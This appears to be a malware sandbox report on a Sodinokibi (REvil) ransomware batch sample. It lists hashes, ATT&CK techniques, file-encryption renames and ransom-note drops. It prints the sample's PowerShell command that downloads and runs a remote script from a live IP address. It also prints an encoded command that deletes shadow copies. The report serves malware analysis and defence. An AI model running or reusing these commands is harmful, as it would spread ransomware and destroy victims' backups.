sodinokibi | 5743310e1c2bd52d3abf50fa874a206e42a4aac4e182447e99f3cf32be4334ed

General

Target

4jD1biG2.bat
Size

191B
MD5

6097db04a430a1a65515bae911e13c6e
SHA1

41f39ba8f63c6ff8067348f596155beb32c45f17
SHA256

5743310e1c2bd52d3abf50fa874a206e42a4aac4e182447e99f3cf32be4334ed
SHA512

22fd4f652757e39fca2fa7b8a5d51cf951b76b200764b0ad45aa01cd38f9cbfb63df5542f08606fc198857cdecf1e4fd14d1cd005805203469b9dbb9a52ed777

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/4jD1biG2

Extracted

Language

ps1

Source

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality
ransomware sodinokibi

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1312 powershell.exe

pid	process
1312	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1352	vssvc.exe
Token: SeRestorePrivilege	1352	vssvc.exe
Token: SeAuditPrivilege	1352	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1312 powershell.exe
1312 powershell.exe
1312 powershell.exe
1536 powershell.exe
1536 powershell.exe

pid	process
1312	powershell.exe
1312	powershell.exe
1312	powershell.exe
1536	powershell.exe
1536	powershell.exe

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Program Files\UnregisterEnable.ods => \??\c:\program files\UnregisterEnable.ods.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\RegisterJoin.vsd	powershell.exe
File renamed	C:\Program Files\PublishCopy.ppt => \??\c:\program files\PublishCopy.ppt.7tu3h3ky	powershell.exe
File renamed	C:\Program Files\UseSkip.xps => \??\c:\program files\UseSkip.xps.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\PublishCopy.ppt	powershell.exe
File renamed	C:\Program Files\PushFormat.jpe => \??\c:\program files\PushFormat.jpe.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\StepConnect.temp	powershell.exe
File opened for modification	\??\c:\program files\UnprotectWait.html	powershell.exe
File renamed	C:\Program Files\UnprotectWait.html => \??\c:\program files\UnprotectWait.html.7tu3h3ky	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\7tu3h3ky-readme.txt	powershell.exe
File renamed	C:\Program Files\JoinMove.vbs => \??\c:\program files\JoinMove.vbs.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\DebugRevoke.txt	powershell.exe
File opened for modification	\??\c:\program files\ImportLimit.rm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\7tu3h3ky-readme.txt	powershell.exe
File created	\??\c:\program files\7tu3h3ky-readme.txt	powershell.exe
File renamed	C:\Program Files\ConfirmUpdate.mpeg2 => \??\c:\program files\ConfirmUpdate.mpeg2.7tu3h3ky	powershell.exe
File renamed	C:\Program Files\ConvertFromGet.xla => \??\c:\program files\ConvertFromGet.xla.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\MountBlock.xltx	powershell.exe
File renamed	C:\Program Files\MountBlock.xltx => \??\c:\program files\MountBlock.xltx.7tu3h3ky	powershell.exe
File renamed	C:\Program Files\StepConnect.temp => \??\c:\program files\StepConnect.temp.7tu3h3ky	powershell.exe
File created	\??\c:\program files (x86)\7tu3h3ky-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\JoinMove.vbs	powershell.exe
File opened for modification	\??\c:\program files\PushFormat.jpe	powershell.exe
File opened for modification	\??\c:\program files\UseSkip.xps	powershell.exe
File renamed	C:\Program Files\DebugRevoke.txt => \??\c:\program files\DebugRevoke.txt.7tu3h3ky	powershell.exe
File renamed	C:\Program Files\ImportLimit.rm => \??\c:\program files\ImportLimit.rm.7tu3h3ky	powershell.exe
File renamed	C:\Program Files\RegisterJoin.vsd => \??\c:\program files\RegisterJoin.vsd.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\UnregisterEnable.ods	powershell.exe
File opened for modification	\??\c:\program files\WaitDebug.mhtml	powershell.exe
File opened for modification	\??\c:\program files\ConfirmUpdate.mpeg2	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\7tu3h3ky-readme.txt	powershell.exe
File renamed	C:\Program Files\WaitDebug.mhtml => \??\c:\program files\WaitDebug.mhtml.7tu3h3ky	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromGet.xla	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\o7x85unt95y.bmp"	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1216 wrote to memory of 1312	1216	cmd.exe	powershell.exe
PID 1312 wrote to memory of 1536	1312	powershell.exe	powershell.exe
PID 1312 wrote to memory of 1536	1312	powershell.exe	powershell.exe
PID 1312 wrote to memory of 1536	1312	powershell.exe	powershell.exe
PID 1312 wrote to memory of 1536	1312	powershell.exe	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 1312 powershell.exe

flow	pid	process
8	1312	powershell.exe

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exepowershell.execmd.exe

description	ioc	process
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\F:	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4jD1biG2.bat"
1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4jD1biG2');Invoke-PBEESOQZ;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Discovering connected drives
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Discovering connected drives
PID:1536

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1352

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4628e689-d195-4873-bc54-2194d7d68777

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_512b5fbe-a222-4c41-85f8-7f61ee5ca5bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c6be20a0-2b44-41e6-b03e-788e1380648b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c85534f7-abc2-478b-a265-18e03f17967d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eb154db7-5347-459d-a5ae-f27e0827e401

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef13c2a6-fcdf-474f-b686-be9a419bd5e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads